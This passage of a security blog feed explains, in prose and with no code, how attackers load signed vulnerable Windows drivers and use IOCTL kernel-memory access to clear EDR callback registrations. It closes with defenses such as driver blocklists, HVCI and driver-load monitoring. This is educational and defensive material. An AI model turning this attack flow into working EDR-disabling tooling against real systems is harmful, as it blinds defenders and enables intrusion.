&lt;p&gt;DLL hijacking relies on the Windows loader doing its job — finding and mapping your DLL because the application asked for it. But what if you're writing shellcode that runs before any loader exists? How does shellcode find the functions it needs without calling &lt;code&gt;GetProcAddress&lt;/code&gt; or importing anything?&lt;/p&gt;

&lt;p&gt;The answer is in the PEB — the same structure you've seen referenced across every blog in this series. Next post: &lt;strong&gt;Walking the PEB to Resolve APIs — How Shellcode Finds kernel32.dll Without Imports.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>exploitdevelopment</category>
      <category>malwaredevelopment</category>
      <category>readteam</category>
    </item>
    <item>
      <title>BYOVD Explained — How Attackers Use Signed Drivers to Kill EDRs</title>
      <dc:creator>nimesh nakum</dc:creator>
      <pubDate>Tue, 09 Jun 2026 03:21:15 +0000</pubDate>
      <link>https://dev.to/redforge/byovd-explained-how-attackers-use-signed-drivers-to-kill-edrs-46dg</link>
      <guid>https://dev.to/redforge/byovd-explained-how-attackers-use-signed-drivers-to-kill-edrs-46dg</guid>
      <description>&lt;p&gt;Your EDR sees everything. Process launches, thread injections, DLL loads, filesystem writes. It has eyes inside the kernel — little hooks that fire before anything consequential happens, passing information up to the agent, letting it decide whether to block or alert.&lt;/p&gt;

&lt;p&gt;Now imagine something reaches into that kernel and quietly removes the hooks. No crash. No blue screen. No alert. The EDR process is still running, the dashboard still shows healthy, but the inputs it depends on are just gone.&lt;/p&gt;

&lt;p&gt;This is part of windows internals I've been exploring — understanding how systems actually behave under the hood, not just how tools interact with them.&lt;/p&gt;

&lt;p&gt;That's not a Windows bug. That's a trust problem.&lt;/p&gt;

&lt;p&gt;BYOVD doesn't exploit Windows — it exploits trust.&lt;/p&gt;




&lt;h2&gt;
  
  
  Ring 0 vs Ring 3 — The Boundary That Matters
&lt;/h2&gt;

&lt;p&gt;Windows splits execution into privilege levels. Your applications, your malware, your EDR agent — they all run in Ring 3, user mode. The kernel runs in Ring 0.&lt;/p&gt;

&lt;p&gt;In my previous posts, I focused on how processes and execution work from an attacker's perspective. This goes one layer deeper — into the kernel where those assumptions start to break.&lt;/p&gt;

&lt;p&gt;This isn't just organizational. The CPU enforces it. Ring 3 code cannot directly read kernel memory. It cannot call kernel functions. Every interaction goes through a controlled interface — syscalls — and the kernel decides whether to honor each request.&lt;/p&gt;

&lt;p&gt;This is why typical malware stays loud. It has to use syscalls. Syscalls can be intercepted and monitored.&lt;/p&gt;

&lt;p&gt;At Ring 0, security tools are just data structures.&lt;/p&gt;

&lt;p&gt;Get code running in the kernel and those data structures become writable. The callback tables EDRs rely on, the hook registrations, the minifilter stack — all of it is reachable, readable, modifiable.&lt;/p&gt;




&lt;h2&gt;
  
  
  A Quick Personal Note on Why This Boundary Matters
&lt;/h2&gt;

&lt;p&gt;Early on when I was messing around with kernel concepts, I tried doing something simple from user mode — reading a memory address that I knew belonged to a kernel structure. The kind of thing that would be trivially readable if you were in Ring 0.&lt;/p&gt;

&lt;p&gt;The access violation came back immediately. Not a permission dialog, not a warning — just a hard stop from the CPU. You don't get to negotiate.&lt;/p&gt;

&lt;p&gt;That failure stuck with me. The wall between Ring 3 and Ring 0 isn't a software check you can route around with the right API. It's enforced at the hardware level. And that's exactly why getting something &lt;em&gt;trusted&lt;/em&gt; to carry you across that boundary is so valuable to an attacker. You don't climb the wall — you find someone with a key.&lt;/p&gt;




&lt;h2&gt;
  
  
  Drivers and the IOCTL Bridge
&lt;/h2&gt;

&lt;p&gt;To load code at Ring 0, Windows requires a signed kernel driver. The signature has to come from a trusted certificate authority, and on 64-bit Windows, Driver Signature Enforcement makes this non-negotiable — no valid signature, no kernel access.&lt;/p&gt;

&lt;p&gt;So attacker-written code can't just walk in. But legitimate drivers can. And some of those legitimate drivers have problems.&lt;/p&gt;

&lt;p&gt;Drivers expose functionality to user-mode applications through an interface called IOCTL — Input/Output Control. It's the communication channel between user land and a running driver. You send a request, the driver processes it, you get a result.&lt;/p&gt;

&lt;p&gt;If a driver's IOCTL handling is careless — if it lets caller-supplied data determine what memory gets read or written — then an attacker with that driver loaded has a working channel into kernel memory. No exploitation of Windows itself required.&lt;/p&gt;

&lt;p&gt;A vulnerable driver doesn't exploit the kernel — it exposes it.&lt;/p&gt;




&lt;h2&gt;
  
  
  What an EDR Actually Does Inside the Kernel
&lt;/h2&gt;

&lt;p&gt;It helps to understand what's actually being attacked.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Process creation callbacks&lt;/strong&gt; fire whenever a new process spawns. EDRs register here to inspect launches, verify signatures, inject their monitoring components before the process has a chance to do anything.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Thread creation callbacks&lt;/strong&gt; catch remote thread injection — when one process tries to spawn a thread inside another. Classic injection technique, and this is where it gets caught.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Image load callbacks&lt;/strong&gt; fire when a DLL or executable is mapped into memory. Unsigned modules, suspicious paths, known-bad hashes — all detectable here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Minifilters&lt;/strong&gt; sit on the filesystem stack and intercept reads and writes before they complete. This is how EDRs scan files on access, block malicious writes, and log filesystem activity.&lt;/p&gt;

&lt;p&gt;All of these mechanisms share the same underlying model: the EDR registers a function with the kernel, and the kernel calls that function at the right moment. The EDR's entire value proposition is built on those callbacks firing reliably.&lt;/p&gt;

&lt;p&gt;Remove the callbacks, remove the EDR.&lt;/p&gt;




&lt;h2&gt;
  
  
  The BYOVD Concept
&lt;/h2&gt;

&lt;p&gt;Three steps, conceptually.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;One&lt;/strong&gt; — load a legitimate, signed, vulnerable driver. Windows sees a valid signature and accepts it without complaint. No alerts, no prompts. The driver is in the kernel.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two&lt;/strong&gt; — communicate with the driver from user mode via IOCTL. Because the driver is vulnerable, it accepts requests that give the caller access to kernel memory reads or writes. The attacker uses this to navigate kernel structures — find what they're looking for.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Three&lt;/strong&gt; — modify the structures that matter. Specifically, the callback registrations that make EDRs work. Clear the entries. Overwrite the function pointers. Surgically. The system keeps running, the EDR process stays alive, but its kernel-level visibility is gone.&lt;/p&gt;

&lt;p&gt;The driver is a tool. A signed, vendor-approved crowbar.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where It Actually Breaks the EDR
&lt;/h2&gt;

&lt;p&gt;Kernel callbacks are implemented as arrays of function pointers. When the kernel fires a "process created" event, it walks the array and calls each registered function in order. Security tools register their detection routines into this array.&lt;/p&gt;

&lt;p&gt;The array lives in kernel memory. It's data is Writable data, if you have access.&lt;/p&gt;

&lt;p&gt;Remove an entry from the array and that function never gets called. The EDR never sees the process launch. No alert, no block, no log entry.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If the callback never runs, the detection never exists.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Think of it like a security camera system. The monitors are on, the control room is staffed, operators are watching. But someone has quietly cut the feed from the cameras covering the area that matters. Nothing looks wrong from the inside — screens still show footage, systems still report healthy. The operators just happen to be blind to exactly the right corner of the building.&lt;/p&gt;

&lt;p&gt;That's what a successfully tampered EDR looks like from the attacker's perspective. Not broken. Just aimed at nothing.&lt;/p&gt;




&lt;h2&gt;
  
  
  The High-Level Flow
&lt;/h2&gt;

&lt;p&gt;User-mode process initiates. A signed, known-vulnerable driver binary is written to disk and loaded through standard Windows driver loading mechanisms. It passes signature validation. It enters the kernel.&lt;/p&gt;

&lt;p&gt;From user mode, the attacker's code opens a handle to the driver and begins sending IOCTL requests. The driver, due to its vulnerability, processes these requests in ways that expose kernel memory access.&lt;/p&gt;

&lt;p&gt;Through that channel, the attacker locates kernel structures holding EDR callback registrations, with the help of base address and specific offsets. This targeting is deliberate — specific structures, specific offsets, specific security products.&lt;/p&gt;

&lt;p&gt;Those structures are modified. Callback entries are cleared or overwritten. The EDR continues running in user mode, completely unaware that its kernel hooks no longer fire.&lt;/p&gt;

&lt;p&gt;From that point on, the attacker operates in a space the EDR can't see.&lt;/p&gt;




&lt;h2&gt;
  
  
  Want to See This in Action (Safely)
&lt;/h2&gt;

&lt;p&gt;If you want to understand how these pieces actually fit together — drivers, IOCTL communication, and kernel callbacks — I built a &lt;strong&gt;safe, hands-on lab&lt;/strong&gt; that walks through each component step by step.&lt;/p&gt;

&lt;p&gt;It doesn't replicate the attack directly, but it shows the exact mechanisms BYOVD relies on.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/Nimesh-Nakum/windows-kernel-internals-lab" rel="noopener noreferrer"&gt;github&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://medium.com/@nimeshnakum3/byovd-explained-how-attackers-use-signed-drivers-to-kill-edrs-37a96bde4094" rel="noopener noreferrer"&gt;medium blog&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Real-World: Lazarus and the Driver Playbook
&lt;/h2&gt;

&lt;p&gt;Lazarus Group has been documented using BYOVD in real intrusions. They're not unique in this — several advanced groups have adopted the technique — but they're one of the more extensively documented cases.&lt;/p&gt;

&lt;p&gt;What's notable isn't that they found sophisticated zero-days or developed novel exploitation chains. They went looking through public records of known-vulnerable drivers, found ones still carrying valid signatures, and used them.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Advanced attackers don't need new vulnerabilities — they need old trust.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A driver signed five years ago by a legitimate hardware vendor is still signed. If it has a memory access vulnerability and isn't on a blocklist, it's still usable on modern Windows. The attack surface here is time — the lag between a vulnerability being known, documented, and then actually blocked across the install base.&lt;/p&gt;

&lt;p&gt;That lag can be years.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Works: The Trust Model
&lt;/h2&gt;

&lt;p&gt;Windows kernel trust is binary. Code is either signed and admitted or it isn't. Once admitted, there's no secondary behavioral analysis running on kernel-mode code in real time. The kernel doesn't second-guess things that are already running inside it.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Once code enters Ring 0, it becomes part of the system.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Signed drivers are trusted not because of what they do, but because of what they are. The gate is the signature, not the behavior. A driver that exposes arbitrary memory access is still trusted as long as the certificate is valid and not revoked.&lt;/p&gt;

&lt;p&gt;And revocation is slow. Getting a driver onto Microsoft's blocklist requires coordination, testing, and update delivery. Vendors don't always respond quickly. Microsoft's list has gaps. And not every Windows installation gets updates promptly.&lt;/p&gt;

&lt;p&gt;The math works out in the attacker's favor.&lt;/p&gt;




&lt;h2&gt;
  
  
  Defensive Reality
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Driver blocklists&lt;/strong&gt; exist. Microsoft maintains a Vulnerable Driver Blocklist that Windows will enforce. It's updated through Defender and Windows Update. It helps, It doesn't cover everything, and new vulnerable drivers surface faster than the list grows.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HVCI (Hypervisor-Protected Code Integrity)&lt;/strong&gt; is more meaningful. It uses virtualization  -- VBS like VTL1 , to protect kernel memory from modification and enforces that only validly signed code can execute in Ring 0. It raises the bar significantly — many BYOVD techniques don't work cleanly against it. The catch is compatibility; older drivers can break, and deployment isn't universal.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Monitoring driver loads&lt;/strong&gt; is practical right now. Logging when drivers are loaded, checking them against known-vulnerable lists, alerting on unexpected driver load events — this is achievable with most modern security stacks. It's detective, not preventive, but catching a vulnerable driver being loaded is an actionable signal.&lt;/p&gt;

&lt;p&gt;The honest reality: detection often happens &lt;em&gt;after&lt;/em&gt; trust has already been granted. The IOCTL communication that modifies callback arrays can complete in milliseconds. By the time a driver load alert surfaces in a SIEM, the damage may already be done. Speed of detection and response matters here more than it does for most techniques.&lt;/p&gt;

&lt;p&gt;Know your driver baseline. Know what normally loads in your environment. Anomalies are easier to catch when you know what normal looks like.&lt;/p&gt;




&lt;h2&gt;
  
  
  Closing
&lt;/h2&gt;

&lt;p&gt;BYOVD is uncomfortable to think about because it plays by the rules. No memory corruption in Windows itself. No kernel vulnerability. No zero-day.&lt;/p&gt;

&lt;p&gt;It finds a signed piece of code that was trusted by the system and uses that trust as a stepping stone into the kernel. Then it modifies the data structures that make EDR visibility possible, from a place the EDR can't reach or monitor.&lt;/p&gt;

&lt;p&gt;The attack is a mirror held up to a specific assumption — that a signed driver is a safe driver, that trust extended is trust correctly placed, that the signature verification model is sufficient.&lt;/p&gt;

&lt;p&gt;BYOVD doesn't break Windows security — it reveals its boundaries.&lt;/p&gt;

&lt;p&gt;The more you look at these systems from the inside, the more you realize that most “security” is really about visibility — and once that visibility is gone, everything else becomes optional.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Understanding this technique matters because it reframes what EDR coverage actually means. It's conditional. Conditional on the kernel callbacks firing. Conditional on the driver blocklist being current. Conditional on trust decisions made years ago by vendors who may have shipped and forgotten about a product long since deprecated. That conditionality is worth building your detection strategy around.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>redteam</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
